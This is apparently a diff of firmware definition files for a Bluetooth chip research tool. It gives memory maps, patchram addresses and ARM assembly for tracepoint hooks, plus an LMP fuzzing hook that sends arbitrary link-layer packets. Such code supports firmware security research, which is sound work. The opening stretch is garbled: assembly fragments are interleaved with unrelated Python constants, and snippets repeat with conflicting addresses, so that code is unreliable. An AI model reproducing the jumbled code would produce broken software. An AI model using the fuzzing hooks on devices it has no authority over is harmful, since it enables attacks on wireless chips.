||||
MemorySection(
|
||||
0x00300000, 0x00307FFF, False, True
|
||||
), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(
|
||||
0x00310000, 0x00321FFF, False, True
|
||||
), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(
|
||||
0x00326000, 0x0032FFFF, False, True
|
||||
), # HW Regs Cortex M3 (readable)
|
||||
MemorySection(
|
||||
0x00338000, 0x00367FFF, False, True
|
||||
), # HW Regs Cortex M3 (readable) + Pka Top
|
||||
MemorySection(0x00370000, 0x0037FFFF, False, True), # RTX FIFO
|
||||
MemorySection(0x00390000, 0x00397FFF, False, True), # Power WD
|
||||
# MemorySection(0x00404000, 0x00407fff, False, True), # EF Registers (seem to be sometimes unavailable)
|
||||
MemorySection(0x00410000, 0x00413FFF, False, True), # BT Modem Registers
|
||||
MemorySection(0x00420000, 0x00423FFF, False, True), # FM Modem Registers
|
||||
MemorySection(0x00430000, 0x00433FFF, False, True), # MAC 15.4
|
||||
MemorySection(0x00440000, 0x00443FFF, False, True), # SecEng Top
|
||||
MemorySection(0x00450000, 0x00453FFF, False, True), # Capscan Top
|
||||
MemorySection(
|
||||
0x00500000, 0x006007FF, False, True
|
||||
), # EPM RAM (readable) + RF Regs
|
||||
MemorySection(0x00640000, 0x006407FF, False, True), # CLB Regs
|
||||
MemorySection(0x00650000, 0x006507FF, False, True), # GCI Regs
|
||||
MemorySection(0x20000000, 0x2024FFFF, False, True), # SRAM
|
||||
MemorySection(0x20270000, 0x20283FFF, False, True), # SRAM
|
||||
MemorySection(0x20500000, 0x200FFFFF, False, True), # SRAM
|
||||
MemorySection(0x22000000, 0x2226FFFF, False, True), # SRAM Bits?
|
||||
MemorySection(0x40000000, 0x40003FFF, False, True), # ToRam Alias / Peripherals
|
||||
MemorySection(0x42000000, 0x4207FFFF, False, True), # ToRam Bits
|
||||
# MemorySection(0x60000000, 0x60000000, False, True), # Extern BlueRF SRAM (range TBD)
|
||||
# MemorySection(0xa0000000, 0xa0000000, False, True), # Extern Device Address (range TBD)
|
||||
MemorySection(0xE0000000, 0xE0100000, False, True), # Base PPB Address
|
||||
]
|
||||
|
||||
// we need to do the original pop...
|
||||
pop {r4-r6, lr}
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = Address(0x310000)
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 192
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
|
||||
// now we simply continue like the original DHM_LMPTx_3453E function
|
||||
cmp r1, #0
|
||||
itt eq
|
||||
moveq r0, #4
|
||||
bxeq lr
|
||||
push {r4-r10, lr} // code at 0x34546
|
||||
mov r7, r0
|
||||
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
|
||||
LAUNCH_RAM = 0x1425BC
|
||||
HCI_EVENT_COMPLETE = 0x24E66
|
||||
|
||||
// part of the check if hook_LMP_TxFilter is installed
|
||||
ldr r0, =0x203144 //dhmAvLinkAutoDetectEnable
|
||||
mov r4, r1
|
||||
ldr r2, [r0, #12]
|
||||
//cbz r2, loc_34564
|
||||
# Connection Struct and Table
|
||||
CONNECTION_LIST_ADDRESS = 0x216F98 # pRm_whole_conn = 0x280C9C points to this
|
||||
CONNECTION_MAX = 11 # g_bt_max_connections = 0 in firmware
|
||||
CONNECTION_STRUCT_LENGTH = 0x168 # ??
|
||||
|
||||
ldr.w r8, [r7] // code at 0x34564
|
||||
mov r0, r8
|
||||
bl 0x93E60 // rm_getDHMAclPtr
|
||||
movs r5, r0
|
||||
// skip check if we actually got a ptr
|
||||
// continue at 0x3457A
|
||||
ldrb r0, [r4, #12]
|
||||
tst.w r0, #0xfe // test for extended op ...
|
||||
add.w r0, r3, #0xc
|
||||
|
||||
# Snippet for fuzzLmp()
|
||||
FUZZLMP_HOOK_ADDRESS = 0xB08D8 # execute standard SendLmpPdu HCI to fill parameters
|
||||
FUZZLMP_CODE_BASE_ADDRESS = 0x271A00 # memory area of other WICED patches
|
||||
FUZZLMP_ASM_CODE = """
|
||||
// This hook is put into the end of bthci_cmd_vs_SendLmpPdu_B08AC,
|
||||
// so command parsing is still performed as normal. We jump in
|
||||
// before bthci_cmd_vs_SendLmpPdu pops and calls DHM_LMPTx.
|
||||
|
||||
mov r0, r6 // 4 byte alignment
|
||||
|
||||
// put length argument into table_entry
|
||||
// payload[5] holds the size argument
|
||||
ldr r5, =table_entry
|
||||
add r5, #4 // length offset within table entry
|
||||
ldrb r6, [r4, #5] // size is in position r4+5
|
||||
strb r6, [r5]
|
||||
|
||||
// we need to do the original pop...
|
||||
pop {r4-r6, lr}
|
||||
|
||||
// now we simply continue like the original DHM_LMPTx_3453E function
|
||||
cmp r1, #0
|
||||
itt eq
|
||||
moveq r0, #4
|
||||
bxeq lr
|
||||
push {r4-r10, lr} // code at 0x34546
|
||||
mov r7, r0
|
||||
|
||||
// part of the check if hook_LMP_TxFilter is installed
|
||||
ldr r0, =0x203144 //dhmAvLinkAutoDetectEnable
|
||||
mov r4, r1
|
||||
ldr r2, [r0, #12]
|
||||
//cbz r2, loc_34564
|
||||
|
||||
ldr.w r8, [r7] // code at 0x34564
|
||||
mov r0, r8
|
||||
bl 0x93E60 // rm_getDHMAclPtr
|
||||
movs r5, r0
|
||||
// skip check if we actually got a ptr
|
||||
// continue at 0x3457A
|
||||
ldrb r0, [r4, #12]
|
||||
tst.w r0, #0xfe // test for extended op ...
|
||||
add.w r0, r3, #0xc
|
||||
|
||||
|
||||
// now we regularily would call the opcode conversion table function
|
||||
// however, we do not use lm_getLmpInfoType_86A82 but insert our own table here
|
||||
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
|
||||
ldr r0, =table_entry
|
||||
|
||||
// branch back to DHM_LMPTx position after bl lm_getLmpInfoType
|
||||
b 0x3458A
|
||||
|
||||
.align
|
||||
table_entry:
|
||||
.byte 0x40 //lm_LmpUnsupportedPdu
|
||||
.byte 0x6A
|
||||
.byte 0x08
|
||||
.byte 0x00
|
||||
.byte 0x20 //length, will be overwritten by us anyways, but can not be longer than one buffer (0x20)
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
"""
|
||||
|
||||
// now we regularily would call the opcode conversion table function
|
||||
// however, we do not use lm_getLmpInfoType_86A82 but insert our own table here
|
||||
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
|
||||
ldr r0, =table_entry
|
||||
# Assembler snippet for tracepoints
|
||||
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
|
||||
TRACEPOINT_BODY_ASM_LOCATION = 0x00218500
|
||||
TRACEPOINT_HOOKS_LOCATION = 0x00218700
|
||||
TRACEPOINT_HOOK_SIZE = 40
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x28794 // patch_uninstallPatchEntry(slot)
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
|
||||
// branch back to DHM_LMPTx position after bl lm_getLmpInfoType
|
||||
b 0x3458A
|
||||
|
||||
.align
|
||||
table_entry:
|
||||
.byte 0x40 //lm_LmpUnsupportedPdu
|
||||
.byte 0x6A
|
||||
.byte 0x08
|
||||
.byte 0x00
|
||||
.byte 0x20 //length, will be overwritten by us anyways, but can not be longer than one buffer (0x20)
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
"""
|
||||
|
||||
|
||||
# Assembler snippet for tracepoints
|
||||
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
|
||||
TRACEPOINT_BODY_ASM_LOCATION = 0x00218950
|
||||
TRACEPOINT_HOOKS_LOCATION = 0x00218900
|
||||
TRACEPOINT_HOOK_SIZE = 40
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x28794 // patch_uninstallPatchEntry(slot)
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
// dump registers like before
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0x2DEF4 // hci_allocateEventBlockWithLen(0xff, 78)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0xEAB4 // memcpy(dst, src, len)
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x2DEC0 // hci_sendEvent
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
bl 0x26C7A // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
"""
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
// dump registers like before
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0x2DEF4 // hci_allocateEventBlockWithLen(0xff, 78)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0xEAB4 // memcpy(dst, src, len)
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0x2DEC0 // hci_sendEvent
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
bl 0x26C7A // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
"""
|
||||
|
||||
+130
-29
@@ -20,34 +20,135 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW927019
|
||||
FW_NAME = "CYW27039B1"
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
#Heap
|
||||
BLOC_HEAD = 0x0200c7c # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(0x00270000, 0x0027ffff, False, True), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00280000, 0x00283fff, False, True), # ToRam
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 192
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
from .. import Address
|
||||
|
||||
|
||||
class CYW20739B1(FirmwareDefinition):
|
||||
"""
|
||||
CYW20719 is a Cypress evaluation board, the newest one that is currently available.
|
||||
|
||||
Known issues:
|
||||
|
||||
* `Launch_RAM` does not terminate and crashes the board.
|
||||
|
||||
To get this working anyway:
|
||||
The `Launch_RAM` handler HCI callback is at `0x1AB218` and it can be overwritten with the
|
||||
address of the memory snippet you want to launch. For example, at `0x0x222500` there is some
|
||||
free memory. Put the function there. Then:
|
||||
|
||||
internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
|
||||
"""
|
||||
|
||||
# Firmware Infos
|
||||
# Evaluation Kit CYW920719, which is also named CYW20739 internally, because they like fuzzy name definitions
|
||||
FW_NAME = "CYW20739B1 (NOT iPhone X/XR!)"
|
||||
# TODO this is not the iPhone firmware, we need to add a switch in fw.py
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = (
|
||||
0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
|
||||
)
|
||||
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
|
||||
|
||||
# Heap
|
||||
BLOC_HEAD = 0x0200C7C # g_dynamic_memory_GeneralUsePools
|
||||
BLOC_NG = True # Next Generation Bloc Buffer
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
|
||||
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
|
||||
MemorySection(
|
||||
0x00270000, 0x0027FFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00280000, 0x00283FFF, False, True), # ToRam
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = Address(0x310000)
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = Address(0x310404)
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = Address(0x270000)
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
# only seems to work 4-byte aligned here ...
|
||||
|
||||
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
|
||||
LAUNCH_RAM = 0x1AB218
|
||||
HCI_EVENT_COMPLETE = 0x1A9D6
|
||||
|
||||
# Assembler snippet for tracepoints
|
||||
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
|
||||
TRACEPOINT_BODY_ASM_LOCATION = 0x00223100
|
||||
TRACEPOINT_HOOKS_LOCATION = 0x00223200
|
||||
TRACEPOINT_HOOK_SIZE = 40
|
||||
TRACEPOINT_HOOK_ASM = """
|
||||
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
|
||||
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
|
||||
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
|
||||
bl 0x34964 // patch_uninstallPatchEntry(slot)
|
||||
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
|
||||
pop {r0-r12, lr} // restore registers
|
||||
|
||||
// branch back to the original instruction
|
||||
b 0x%x // addTracepoint() injects the address of the tracepoint
|
||||
"""
|
||||
|
||||
TRACEPOINT_BODY_ASM_SNIPPET = """
|
||||
mov r8, lr // save link register in r8
|
||||
|
||||
// dump registers like before
|
||||
|
||||
// save status register in r5
|
||||
mrs r5, cpsr
|
||||
|
||||
// malloc HCI event buffer
|
||||
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
|
||||
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
|
||||
bl 0xF7B6 // hci_allocateEventBlockWithLen(0xff, 78)
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append our custom header (the word 'TRACE_') after the event code and event length field
|
||||
add r0, 2 // write after the length field
|
||||
ldr r1, =0x43415254 // 'TRAC'
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
ldr r1, =0x5f45 // 'E_'
|
||||
strh r1, [r0]
|
||||
add r0, 2 // advance the pointer. r0 now points to the start of the register values
|
||||
|
||||
// store pc
|
||||
str r6, [r0] // r6 still contains the address of the original pc
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store sp
|
||||
mov r1, 56 // 14 saved registers * 4
|
||||
add r1, sp
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store status register
|
||||
str r5, [r0]
|
||||
add r0, 4 // advance the pointer.
|
||||
|
||||
// store other registers
|
||||
mov r1, sp
|
||||
mov r2, 56
|
||||
bl 0xAF0BC // memcpy(dst, src, len)
|
||||
|
||||
// send HCI buffer to the host
|
||||
mov r0, r4 // r4 still points to the beginning of the HCI buffer
|
||||
bl 0xF782 // hci_sendEvent
|
||||
|
||||
// restore status register
|
||||
msr cpsr_f, r5
|
||||
|
||||
bl 0x2D702 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
|
||||
|
||||
mov lr, r8 // restore lr from r8
|
||||
bx lr // return
|
||||
|
||||
"""
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# fw_0x420e.py
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
# Copyright (c) 2019 Jiska Classen. (MIT License)
|
||||
#
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
# this software and associated documentation files (the "Software"), to deal in
|
||||
# the Software without restriction, including without limitation the rights to
|
||||
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||
# the Software, and to permit persons to whom the Software is furnished to do so,
|
||||
# subject to the following conditions:
|
||||
# - The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
# - The Software is provided "as is", without warranty of any kind, express or
|
||||
# implied, including but not limited to the warranties of merchantability,
|
||||
# fitness for a particular purpose and noninfringement. In no event shall the
|
||||
# authors or copyright holders be liable for any claim, damages or other
|
||||
# liability, whether in an action of contract, tort or otherwise, arising from,
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
class BCM4347B1(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# iPhone 8/X/XR
|
||||
FW_NAME = "BCM4347B1"
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x00000000, 0x00103FFF, True, False), # Internal ROM
|
||||
MemorySection(
|
||||
0x00130000, 0x0014FFFF, False, True
|
||||
), # Internal Memory Patchram Contents
|
||||
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
|
||||
]
|
||||
|
||||
# Patchram
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 256
|
||||
PATCHRAM_ALIGNED = False
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# MacBook 15" early 2011 tested with Ubuntu
|
||||
# MacBook 15" early 2011 tested with Ubuntu
|
||||
#
|
||||
# Generic firmware file in case we do not know something...
|
||||
#
|
||||
@@ -22,16 +22,19 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from fw import MemorySection
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM2070B0 (MacBook Pro 2011)"
|
||||
# Build date: Jul 9 2008
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0x58000, True , False),
|
||||
MemorySection(0x80000, 0x9b000, False, True ),
|
||||
]
|
||||
class BCM2070B0(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
FW_NAME = "BCM2070B0 (MacBook Pro 2011)"
|
||||
# Build date: Jul 9 2008
|
||||
|
||||
BLOC_HEAD = 0x88518
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0x58000, True, False),
|
||||
MemorySection(0x80000, 0x9B000, False, True),
|
||||
]
|
||||
|
||||
BLOC_HEAD = 0x88518
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x6103.py
|
||||
#
|
||||
@@ -20,29 +20,34 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from fw import MemorySection
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
# Firmware Infos
|
||||
# This runs on an iPhone 7
|
||||
FW_NAME = "BCM4355C0"
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x204c60
|
||||
class BCM4355C0(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# This runs on an iPhone 7
|
||||
FW_NAME = "BCM4355C0"
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
|
||||
MemorySection(0xd0000, 0xd8000, False, True ),
|
||||
#MemorySection(0xe0000, 0x1f0000, True , False),
|
||||
MemorySection(0x200000, 0x228000, False, True ),
|
||||
MemorySection(0x260000, 0x268000, True , False),
|
||||
#MemorySection(0x280000, 0x2a0000, True , False),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
#MemorySection(0x680000, 0x800000, False, False)
|
||||
]
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x204C60
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0x90000, True, False),
|
||||
MemorySection(0xD0000, 0xD8000, False, True),
|
||||
MemorySection(0x200000, 0x228000, False, True),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
#MemorySection(0x600000, 0x600800, False, False),
|
||||
#MemorySection(0x640000, 0x640800, False, False),
|
||||
]
|
||||
|
||||
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
|
||||
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
|
||||
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
|
||||
PATCHRAM_NUMBER_OF_SLOTS = 192
|
||||
PATCHRAM_ALIGNED = False
|
||||
|
||||
+360
-323
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
|
||||
# fw_0x6109.py
|
||||
#
|
||||
@@ -25,344 +25,381 @@
|
||||
# out of or in connection with the Software or the use or other dealings in the
|
||||
# Software.
|
||||
|
||||
from fw import MemorySection
|
||||
|
||||
# Firmware Infos
|
||||
# This runs on Nexus 5, Xperia Z3, Samsung Galaxy Note 3
|
||||
FW_NAME = "BCM4335C0"
|
||||
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x2178B4 # [type: 1byte] [len: 1byte] [name: len byte]
|
||||
BD_ADDR = 0x210C2C
|
||||
from __future__ import absolute_import
|
||||
from .fw import MemorySection, FirmwareDefinition
|
||||
|
||||
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [ MemorySection(0x0, 0x90000, True , False),
|
||||
MemorySection(0xd0000, 0xd8000, False, True ),
|
||||
#MemorySection(0xe0000, 0x1f0000, True , False),
|
||||
MemorySection(0x200000, 0x228000, False, True ),
|
||||
MemorySection(0x260000, 0x268000, True , False),
|
||||
#MemorySection(0x280000, 0x2a0000, True , False),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
#MemorySection(0x680000, 0x800000, False, False)
|
||||
]
|
||||
class BCM4335C0(FirmwareDefinition):
|
||||
# Firmware Infos
|
||||
# This runs on Nexus 5, Xperia Z3, Samsung Galaxy Note 3
|
||||
FW_NAME = "BCM4335C0"
|
||||
|
||||
# BLOC struct head which points to the first bloc struct (double-linked list)
|
||||
BLOC_HEAD = 0x203094
|
||||
# Device Infos
|
||||
DEVICE_NAME = 0x2178B4 # [type: 1byte] [len: 1byte] [name: len byte]
|
||||
BD_ADDR = 0x210C2C
|
||||
|
||||
# QUEU struct head which points to the first queue struct (double-linked list)
|
||||
QUEUE_HEAD = 0x20307C
|
||||
QUEUE_NAMES = ["tran_HCIEvent", "tran_ACLData", "tran_SCOData", "tran_UartBridgeNonHCIEvent", "tran_DiagData",
|
||||
"tran_HIDUsbKBEvt", "tran_HIDUsbMSEvt", "tran_HIDUsbMSCtrl", "tran_HIDUsbKBCtrl", "tran_HidAuxData",
|
||||
"lm_Cmd", "hci_HciCommand", "lm_deferredAction", "lrmmsm_cmd", "liteHostEvent", "litehostRcvdL2capData"
|
||||
]
|
||||
# Memory Sections
|
||||
# start, end, is_rom? is_ram?
|
||||
SECTIONS = [
|
||||
MemorySection(0x0, 0x90000, True, False),
|
||||
MemorySection(0xD0000, 0xD8000, False, True),
|
||||
# MemorySection(0xe0000, 0x1f0000, True , False),
|
||||
MemorySection(0x200000, 0x228000, False, True),
|
||||
MemorySection(0x260000, 0x268000, True, False),
|
||||
# MemorySection(0x280000, 0x2a0000, True , False),
|
||||
MemorySection(0x318000, 0x320000, False, False),
|
||||
MemorySection(0x324000, 0x360000, False, False),
|
||||
MemorySection(0x362000, 0x362100, False, False),
|
||||
MemorySection(0x363000, 0x363100, False, False),
|
||||
MemorySection(0x600000, 0x600800, False, False),
|
||||
MemorySection(0x640000, 0x640800, False, False),
|
||||
MemorySection(0x650000, 0x650800, False, False),
|
||||
# MemorySection(0x680000, 0x800000, False, False)
|
||||
]
|
||||
|
||||
# BLOC struct head which points to the first bloc struct (double-linked list)
|
||||
BLOC_HEAD = 0x203094
|
||||
|
||||
# Connection Structure and Table
|
||||
CONNECTION_ARRAY_ADDRESS = 0x002038E8
|
||||
CONNECTION_MAX = 11
|
||||
CONNECTION_STRUCT_LENGTH = 0x14C
|
||||
# QUEU struct head which points to the first queue struct (double-linked list)
|
||||
QUEUE_HEAD = 0x20307C
|
||||
QUEUE_NAMES = [
|
||||
"tran_HCIEvent",
|
||||
"tran_ACLData",
|
||||
"tran_SCOData",
|
||||
"tran_UartBridgeNonHCIEvent",
|
||||
"tran_DiagData",
|
||||
"tran_HIDUsbKBEvt",
|
